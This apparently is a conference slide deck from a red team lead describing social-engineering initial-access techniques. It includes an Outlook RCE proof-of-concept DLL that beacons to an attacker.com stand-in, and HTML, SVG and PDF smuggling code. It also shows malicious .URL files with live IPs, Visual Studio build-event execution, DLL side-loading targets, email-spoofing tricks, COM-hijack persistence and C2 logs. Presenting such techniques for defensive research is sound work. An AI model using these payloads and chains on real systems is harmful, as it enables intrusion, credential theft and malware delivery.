



Konstantin Polishin

Team Lead of Red Team SE group
Penetration Testing Department (PT SWARM)



Red Team Social Engineering '24

Initial Access TTP and project experience of our team

Whoami



Konstantin Polishin

Team Lead of Red Team SE group

PT SWARM

- **Certificates:** OSCP, OSEP by Offensive Security
- **Speaker:** PHDays, HITB
- **Main activity:** participate in complex Red Team operations
- **Specialize:** verify financial business risks, social engineering, initial access, lateral movement, obtain maximum privileges, evade SOC team

t.me/ptswarm


x.com/ptswarm

swarm.ptsecurity.com

Red Team SE group


GOALS:

- > Research of **Anti-APT** mail solutions
- > Reproduce of **1days**
- > Research of **0days**
- > Advanced **Red Team** TTP




PT SWARM

@ptswarm





We've tested the new RCE in Microsoft Outlook (CVE-2024-21378) in a production environment and confirm it works well!


A brief instruction for red teams:

1. Compile our enhanced DLL  gist.github.com/Homer28/7f3559...

2. Use NetSPI's ruler and wait!


No back connect required!








root@ptarch:ruler # ruler --insecure --username [DOMAIN USERNAM
--password [PASSWORD] --email [EMAIL] --url [AUTODISCOVER PATH
form add-com --suffix [FORM NAME] --dll ./test.dll --name [targ
dll name.dll] --body "Hello world!"


4:53 PM · Apr 11, 2024 · 41.5K Views

 4

 133


 341

 162



Cyber Advising

@cyber_advising · Apr 12



CVE-2024-21378: Microsoft Outlook Remote Code Execution Vulnerability

PoC


gist.github.com/Homer28/7f3559...


```
0x00, 0x00, 0x48, 0x4c, 0x24, 0x20, 0xb8, 0xd1, 0x00, 0x00, 0x00,
0x49, 0xb8, 0xc8, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc8, 0xff, 0xd0, 0x4c,
0xdd, 0xc, 0x24, 0xd0, 0xb1, 0xb0, 0xb0, 0x33, 0xc8, 0x49, 0xb0, 0x5b,
0x20, 0x49, 0xb0, 0xb0, 0x30, 0x49, 0xb0, 0xe3, 0x41, 0x5e, 0x5f, 0x5e,
0xc3, 0x42, 0xbf, 0xb7, 0x4c, 0x55, 0xb0, 0xb0, 0xc1, 0x8e, 0x48, 0xb3,
0xdf, 0xeb, 0x31, 0xcc, 0xb1, 0x15, 0xb9, 0xb0, 0x15, 0x54, 0x36, 0xb0,
0x15, 0x34, 0x34, 0xb0, 0x15, 0xb1, 0x30, 0xb0, 0xc, 0xeb, 0xb, 0x70,
0x0};
#else
#endif


BOOL WINAPI DllMain(IN Module, DWORD ul_reason_for_call,
LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
std::wstring dns_resolve_address = L"new.{USERDOMAIN}.\\COMPUTERNAME.attacker.com";
wchar_t dns_name[MAX_PATH];
if (ExpandEnvironmentStringsW(dns_resolve_address.c_str(), dns_name,
MAX_PATH)) {
LPVOID payload_memory = VirtualAlloc(
NULL, payload_rx, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (payload_memory) {
memcpy_s(payload_memory, payload_rx, rawData, payload_rx);


wchar_t* dns_name_allocated = (wchar_t*)VirtualAlloc(
NULL, MAX_PATH, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
wcsncpy_s(dns_name_allocated, MAX_PATH, dns_name);


g_threadH = CreateThread(
NULL, 0,
(LPTHREAD_START_ROUTINE)((ptr_uint)payload_memory +
(ptr_uint)payload_EP_offset),
dns_name_allocated, 0, NULL);
}
break;
}
case DLL_THREAD_ATTACH:
```


 1

 142

 449

 35K





Agenda



Smuggling Zoo

- HTML Smuggling
- SVG Smuggling
- PDF Smuggling and PDF Polyglot



.URL

- Credential Harvesting
- CVE-2023-36025/CVE-2024-21412
- Github/Gitlab CDN



Attention Developers

- Visual Studio
- VSCode



DLL Side-Loading

- Advantages of DLL Side-Loading



Persistence

- COM hijacking with proxy-DLL



Project cases

- Internal phishing to SOC team
- Phishing via services
- Vishing + Spear Phishing + Internal Phishing

HTML/PDF/SVG SMUGGLING



HTML SMUGGLING

> Obfuscation

- /XOR
- /AES
- /RC4
- /Hexadecimal
- /Reverse base64
- /etc

> Decoding

- /atob()
- /decodeURIComponent()
- /decodeURI()
- /unescape()
- /String.fromCharCode()
- /etc

HTML SMUGGLING



Delivery

Initiating unpacking and downloading

- / Inline download + event listener
- / XOR/AES + decryption password
- / Check User Agent + IP
- / Image OnError Code Evaluation (IOCE)
- / SVG Image Code Execution (SVG in Data URI)

HTML SMUGGLING

> Inline download + event listener

<a>



+

JS events

- / mousemove, mouseenter, mouseleave
- / keydown, keyup
- / click, dblclick
- / input, change
- / etc

HTML SMUGGLING

> XOR/AES + decryption password



HTML SMUGGLING

> Image OnError Code Evaluation (IOCE)

Local IOCE

```
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4 <meta charset="UTF-8">
5 <meta name="viewport" content="width=device-width, initial-scale=1.0">
6 <title>Image OnError Code Evaluation (IOCE)</title>
7 <script>
8 function executeCode() {
9     alert('PT SWARM Image OnError Code Evaluation (IOCE)');
10 }
11 </script>
12 </head>
13 <body>
14 
15 </body>
16 </html>
```

Remote IOCE

```
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4 <meta charset="UTF-8">
5 <meta name="viewport" content="width=device-width, initial-scale=1.0">
6 <title>Remote Image OnError Code Evaluation (IOCE)</title>
7 </head>
8 <body>
9 
10
11 <script>
12 function loadScript(url) {
13     var script = document.createElement('script');
14     script.src = url;
15     document.body.appendChild(script);
16 }
17 </script>
18 </body>
19 </html>
```

HTML SMUGGLING

> SVG Image Code Execution (SVG in Data URI)

```
1 <svg xmlns=»http://www.w3.org/2000/svg>
2   <script>alert('PT SWARM SVG in Data URI');</script>
3 </svg>
```

```
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4 <meta charset="UTF-8">
5 <meta name="viewport" content="width=device-width, initial-scale=1.0">
6 <title>SVG Image Code Execution</title>
7 </head>
8 <body>
9 <object data=" dHJpbmc+CiAgICA8c2NyaXB0PgogICAgIC8vIFZyZWRvbw9uczogbWFpb iB
  KYXRhLgogICAgICAgIC8vIGluY2x1ZGluZyBqYXZhc2NyaXB0LgogICAgICAgIC8vIGFuYXV5dG1jcy1yZXNsaWdodCBoaWdobGlnaHQgaXMgdXh1bWJ1cmVkJGogICAgICAgIC8vIGNhbGN1bGF0ZWQgb3Zlci
  Bmb3JtYXRpYyBzdHJ1dm1ldy4KICAgICAgYXNjaW50bG1jaXVzIGNvZGUgZXh1Y3V0ZWQhJyk7CiAgICAvLyBUaGUgY29kZSBpcyBkZXZ1bG9waW5nIGFuZCBjb25kaXRpb24gaXMgY29kZSBvbiBzdG9yZ
  SBvZiBjbG9kLGo8L3NjcmlwdD4KPC9zdmc+Cg==" type="image/svg+xml"></object>
10 </body>
11 </html>
```

SVG SMUGGLING

> SVG Smuggling types

/ SVG in Data URI


/ SVG as CDATA

/ SVG as CSS

/ SVG Polyglot


SVG SMUGGLING

> SVG Smuggling as CDATA




SVG SMUGGLING

> SVG Smuggling as CSS




SVG SMUGGLING

> SVG Polyglot




SVG SMUGGLING

> Combining



SVG SMUGGLING



Easy JS-magic fix

```
function save(){
  const file = new File(['this is where BLOB should go'], {type: 'application/pdf'}); // edit this
  const link = document.createElement('a');

  link.href = URL.createObjectURL(file);
  link.download = 'this is the name.pdf';

  document.body.appendChild(link);
  link.click();

  document.body.removeChild(link);
}

window.save = save;

<a class="downloadlink" id="downloadlink" target="_blank" onclick='save()'>here is your link</a>
```

Stackoverflow, 2019


```
string svgbody = @"<svg xmlns=""http://www.w3.org/2000/svg"" xmlns:xlink=""http://www.w3.org/1999/xlink""
<circle cx=""50"" cy=""50"" r=""40"" stroke=""black"" stroke-width=""3"" fill=""red""/>
<script type=""application/ecmascript""><![CDATA[
  document.addEventListener("DOMContentLoaded", function() {
    function base64ToArrayBuffer(base64) {
      var binary_string = window.atob(base64);
      var len = binary_string.length;
      var bytes = new Uint8Array(len);
      for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
      return bytes.buffer;
    }
    var file = "" + b64string + "';\n" +
    "var data = base64ToArrayBuffer(file);\n" +
    "var blob = new Blob([data], {type: 'octet/stream'});\n" +
    "var fileName = "" + filename + "';\n" +
    "var a = document.createElementNS('http://www.w3.org/1999/xhtml', 'a');\n" +
    "document.documentElement.appendChild(a);\n" +
    "a.setAttribute('style', 'display: none');\n" +
    "var url = window.URL.createObjectURL(blob);\n" +
    "a.href = url;\n" +
    "a.download = fileName;\n" +
    "a.click();\n" +
    "window.URL.revokeObjectURL(url);\n" +
    "});\n" +
    "]]></script>\n" +
    "</svg>";
```

AutoSmuggle, git


SVG SMUGGLING



The infection chain in recent attacks by RedCurl group **F.A.C.C.T.** targeting Southeast Asia and Australia




Source: F.A.C.C.T., 2024



PDF SMUGGLING

PDF Luring with JS + **HTML** Smuggling = **PDF** Smuggling

```
/OpenAction  
/S /JavaScript  
/JS this.exportDataObject({ cName:"filename.html",nLaunch:2})
```




PDF Polyglot (MalDoc in PDF)




<https://blogs.jpccert.or.jp/en/2023/08/maldocinpdf.html>

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8	656D6173	2D6D6963	726F736F	66742D63	6F6D3A6F	66666963	653A6F66	66696365	22D0D0A7	6D6C6E73	3A773D33	44227572	6E3A7363	68656D61	732D6D69	63726F73	6F66742D	636F6D3A	76D6C22	0D0A786D	6C6E733A	6F3D3344	2275726E	3A736368	656D6173	2D6D6963	726F736F	66742D63	6F6D3A6F	66666963	653A6F66	66696365	22D0D0A7	6D6C6E73	3A773D33	44227572	6E3A7363	68656D61	732D6D69	63726F73	6F66742D	636F6D3A	76D6C22	0D0A786D	6C6E733A	6F3D3344	2275726E	3A736368	656D6173	2D6D6963	726F736F	66742D63	6F6D3A6F	66666963	653A6F66	66696365	22D0D0A7	6D6C6E73	3A773D33	44227572	6E3A7363	68656D61	732D6D69	63726F73	6F66742D	636F6D3A	76D6C22	0D0A786D	6C6E733A	6F3D3344	2275726E	3A736368	656D6173	2D6D6963	726F736F	66742D63	6F6D3A6F	66666963	653A6F66	66696365	22D0D0A7	6D6C6E73	3A773D33	44227572	6E3A7363	68656D61	732D6D69	63726F73	6F66742D	636F6D3A	76D6C22	0D0A786D	6C6E733A	6F3D3344	2275726E	3A736368	656D6173	2D6D6963	726F736F	66742D63	6F6D3A6F	66666963	653A6F66	66696365	22D0D0A7	6D6C6E73	3A773D33	44227572	6E3A7363	68656D61	732D6D69	63726F73	6F66742D	636F6D3A	76D6C22	0D0A786D	6C6E733A	6F3D3344	2275726E	3A736368	656D6173	2D6D6963	726F736F	66742D63	6F6D3A6F	66666963	653A6F66	66696365	22D0D0A7	6D6C6E73	3A773D33	44227572	6E3A7363	68656D61	732D6D69	63726F73	6F66742D	636F6D3A	76D6C22	

PDF Polyglot (MalDoc in PDF)




User Execution



Credential Harvesting

```
[DEFAULT]
BASEURL=https://<domain>/
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2
[InternetShortcut]
URL=https://<domain>/
IDList=
IconFile=\\<server>%ComputerName%\%UserDomain%\%UserName%\
IconIndex=0
HotKey=0
```

.URL



```
[{000214A0-0000-0000-C000-000000000046}]
```

```
Prop3=19,9
```

```
[InternetShortcut]
```

```
IDList=
```

```
URL=file:///51.79.185.145/pdf/data3.zip/pdf3.cpl
```

```
IconIndex=12
```


```
HotKey=0
```

```
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
```


.URL



Water Hydra attack chain



[InternetShortcut]

First .URL

```
URL=file:///84.32.189.74@80/fxbulls/images/2.url  
IconFile=C:\Windows\System32\imageres.dll  
IconIndex=126
```

[InternetShortcut]

Second .URL

```
URL=file:///84.32.189.74@80/fxbulls/images/a2.zip/a2.cmd  
IDList=  
HotKey=0  
[{000214A0-0000-0000-C000-000000000046}]  
Prop3=19,9
```



.URL



GitHub comments abused to push malware via Microsoft repo URLs

By Lawrence Abrams

GitLab affected by GitHub-style CDN flaw allowing malware hosting



https://github.com/user-attachments/files/16716497/RC18_payload.txt

PDF Luring



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Adobe Cloud

What do you want to do with RulesASAP_CZI6.zip?
From: sonisblog.com

Open

Save




Cancel



http://sonisblog.com/rulesupdate/RulesASAP_CZI6.zip

File Decoys



Attention developers



Social engineering for open-source supply chain attack profit

High-end APT groups perform highly interesting social engineering campaigns in order to penetrate well-protected targets. For example, carefully constructed forum responses on precision targeted accounts and follow-up "out-of-band" interactions regarding underground rail system simulator software helped deliver [Green Lambert](#) implants in the Middle East. And, in what seems to be a learned approach, the [XZ Utils project penetration](#) was likely a patient, multi-year approach, both planned in advance but somewhat clumsily executed.

UNC2970 —

North Korean hackers target security researchers with a new backdoor

Campaign uses carefully crafted LinkedIn accounts that mimic legit people.

DAN GOODIN - 3/11/2023, 1:13 AM

Attention developers



IDEA: Visual Studio, VSCode, IntelliJ IDEA, Xcode, Android Studio, etc

Here are some publicly disclosed methods for exploiting Visual Studio:

1. `PreBuildEvent` : Executes arbitrary commands before project compilation.

```
<PreBuildEvent>
  <Command>
    cmd /c calc
  </Command>
</PreBuildEvent>
```



2. `GetFrameworkPaths Target` : Triggered when viewing code.

```
<Target Name="GetFrameworkPaths">
  <Exec Command="calc.exe"/>
</Target>
```



3. `COMFileReference` : Triggered when loading `TypeLib` during project opening.

```
<COMFileReference Include="files\helpstringdll.tlb">
  <EmbedInteropTypes>True</EmbedInteropTypes>
</COMFileReference>
```




<https://github.com/cjm00n/EvilSln>


<https://www.outflank.nl/blog/2023/03/28/attacking-visual-studio-for-initial-access/>

Attention developers

Where is the **MOTW**?





VS 2019




VS 2022

Attention developers




Attention developers




<https://www.mdsec.co.uk/2023/08/leveraging-vscode-extensions-for-initial-access/>

Attention developers




\$ /path/to/VSCode/code --install-extension **payload.vsix**



<https://www.mdsec.co.uk/2021/01/macOS-post-exploitation-shenanigans-with-vscode-extensions/>

DLL Side-Loading



Hijack + Proxy DLL = DLL Side-Loading

Advantages of DLL Side-Loading

- / Trusted, signed and used in the organization
- / Payload is embedded within the DLL
- / Payload encrypted or obfuscated to defeat AV or basic scanning
- / Fileless run off the payload in the process memory
- / Avoid any crashes or suspicious app behavior

DLL Side-Loading



Seongsu Park

@unpacker

Check out this list of DLL side-loading commonly employed by the Lazarus group lately. Stay on high alert and be cautious of any unusual DLL file loading from suspicious folder paths

Missing DLL:

spoolsv.exe → ualapi.dll

Side-loaded by legitimate binary:

mobsync.exe → propsys.dll

MDEServer.exe → winmde.dll

ComcastVNC.exe → version.dll ?

colorcpl.exe → colorui.dll

presentationhost.exe → mscoree.dll

CameraSettingsUIHost.exe → DUI70.dll

wsmprovhost.exe → mi.dll

SgrmLpac.exe → winhttp.dll

TieringEngineService.exe → ESENT.dll

WmiApSrv.exe → wbemcomn.dll

dfrgui.exe → SXSHARED.dll

SyncHost.exe → WinSync.dll

wmiprvse.exe → ncobjapi.dll


wmiprvse.exe → wbem\sspicli.dll

wmiprvse.exe → wbem\wmiintl.dll


svchost.exe(IKEEXT) → wlsctrl.dll

Execution Flow

uptycs



DLL Side-Loading via VSCode



Domain Spoofing

GreyBox vectors

#1

SPF with **+all** or **~all** without DMARC



SoftFail errors

#2

target.com has SPF + DMARC **legit.target.com**
doesn't have SPF +DMARC



Easy spoof

Targets

Spoof: from **<example.com>** to **<target.com>**

Spoof: from **<target.com>** to **<target.com>**

*If Security Email Gateway has configuration:
SPF authentication error = pass

Spoof: from **<legit.target.com>** to **<target.com>**

Domain Spoofing



BlackBox vectors

#1

SPF with **-all** and weak DMARC



SoftFail, TempError, PermError

#2

Correct SPF and DMARC records
(in external DNS-hosting)



Try harder

Targets

Spoof: from <**random.target.com**> to <**target.com**>

Spoof: from <**legit.target.com**> to <**target.com**>

Spoof: from <**target.com**> to <**target.com**>

Errors and weaknesses in error handling of SPF checks on the Security Email Gateway

Spoof: from <**random.target.com**> to <**target.com**>

Spoof: from <**legit.target.com**> to <**target.com**>

Spoof: from <**target.com**> to <**target.com**>

Internal DNS server may not have SPF and DMARC records for target.com

Domain Spoofing



BlackBox vector: #1

Tricks to call errors:

- > Double or multiple SPF records for domain = **PermError**
- > SPF record length > than limit (255 characters) = **PermError**
- > Problems with DNS resolver = **TempError**

PT Sandbox test



Denis Baranov <dbaranov@ptsecurity.ru>

Tue 17/01/2023, 14:47

Konstantin Polishin

Inbox

Subject: PT Sandbox test
To: <kpolishin@ptsecurity.ru>
From: Denis Baranov <dbaranov@ptsecurity.ru>
Content-Type: multipart/mixed;
boundary="0756051f1029eeb600e58d6f6a7a7b0e864adef9444ca556cf31d1d404b"
Return-Path: DBaranov@ptsecurity.ru
X-MS-Exchange-Organization-Network-Message-Id: aaa24e15-21a1-459b-5c6d-08daf8808119
X-MS-Exchange-Organization-PRD: ptsecurity.ru
X-MS-Exchange-Organization-SenderIdResult: SoftFail
Received-SPF: SoftFail [REDACTED]01.ptsecurity.ru: domain of transitioning dbaranov@ptsecurity.ru discourages use of [REDACTED] as permitted sender)

Про PT Sandbox



dbaranov@ptsecurity.com


Wed 29/05, 13:13

Konstantin Polishin

Счит

Return-Path: [REDACTED]0@gmail.com
Received: from [127.0.1.1] (broadband [REDACTED])
by smtp.gmail.com with ESMTPSA id 38308e7fff4ca-2e95bcc48d3sm25076301fa.5.2024
for <kpolishin@ptsecurity.com>
(version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
Wed, 29 May 2024 03:13:01 -0700 (PDT)
Message-ID: <6656ffad.050a0220.56b48.49aa@mx.google.com>
Date: Wed, 29 May 2024 03:13:01 -0700
Content-Type: multipart/mixed;
boundary="=====2785659610000059207=="
MIME-Version: 1.0
From: <dbaranov@ptsecurity.com>
To: <kpolishin@ptsecurity.com>
Subject: =?utf-8?b?0J/RgNC+IFBUIFNhbmRib3g=?=
Received-SPF: PermError [REDACTED]01.ptsecurity.ru: domain of dbaranov@ptsecurity.com used an invalid SPF mechanism)


COM-object persistence



Windows 10 x64, 1909 stats:

> **8300+ COM Objects**

> **27000+ COM Object interfaces**



COM-object persistence

HKLM\	\LocalServer32
HKCU\SOFTWARE\Classes\CLSID\{GUID}\InProcServer32	
HKCR\	\TreatAs

HK what?

HKEY_CURRENT_USER (HKCU) - settings for interactive user

HKEY_LOCAL_MACHINE (HKLM) – settings for all users on the local computer

HKEY_CLASSES_ROOT (HKCR) - merges the information from HKCU and HKLM

InProcServer32 – path to DLL

LocalServer32 – path to EXE

TreatAs – redirects to another COM by CLSID

COM-object persistence

HKCU > HKLM



COM-object persistence

HKCU:

> Not need admin rights

HKLM:



> Need admin rights

> For some CLSID need elevate rights to TrustedInstaller

>

Vectors for COM persistence

- / Phantom COM objects
- / Missing COM objects in HKCU
- / Oftentimes used COM objects
- / COM objects in scheduled tasks



COM-object persistence



Top way for HKLM search:

- / Oftentimes used COM objects by system
- / Elevate to TI
- / Use proxy DLL

GUID of COM objects	Default value
{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}	%systemroot%\system32\wbem\wmiutils.dll
{7C857801-7381-11CF-884D-00AA004B2E24}	%systemroot%\system32\wbem\wbemsvc.dll
{ddc05a5a-351a-4e06-8eaf-54ec1bc2dcea}	%SystemRoot%\System32\ApplicationFrame.dll
{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}	%SystemRoot%\system32\propsys.dll


COM-object persistence



> Top way for HKCU search:

- / Oftentimes used COM objects by user
- / Use proxy DLL


88d96a0f-f192-11d4-a65f-0040963251e5 – triggered by Word
1fda955b-61ff-11da-978c-0008744faab7 – Explorer + Network



```
#7>
[2024-08-23 02:24:18] Agent session 177 (F55B992F74E88E59) opened
#7> use 177
#7->177> info
#7->177>
Agent information:
-----
Domain: m1book2231
User: user
Hostname: M1B00K2231
Logon server: \\M1B00K2231
-----
Current dir: C:\Users\user\Desktop\1\RootCon\template
-----
IP addresses:
fe80::a802:8e92:8e52:dc0a
192.168.192.159
```



Project case #1

> Internal Phishing to SOC team



Project case #2


> Phishing via services



Project case #2


> Phishing via services

C2 server



Video Meet Portal



Need secret cookie



> Drop our RAT

> Set secret cookie in browser


DMZ



"Update" browser and launch our RAT

Internal Network


Project case #3



> Step №1 - Vishing




Project case #3



Project case #3

> Step №3 – Internal Phishing



QA



Thanks for your attention!



PT SWARM



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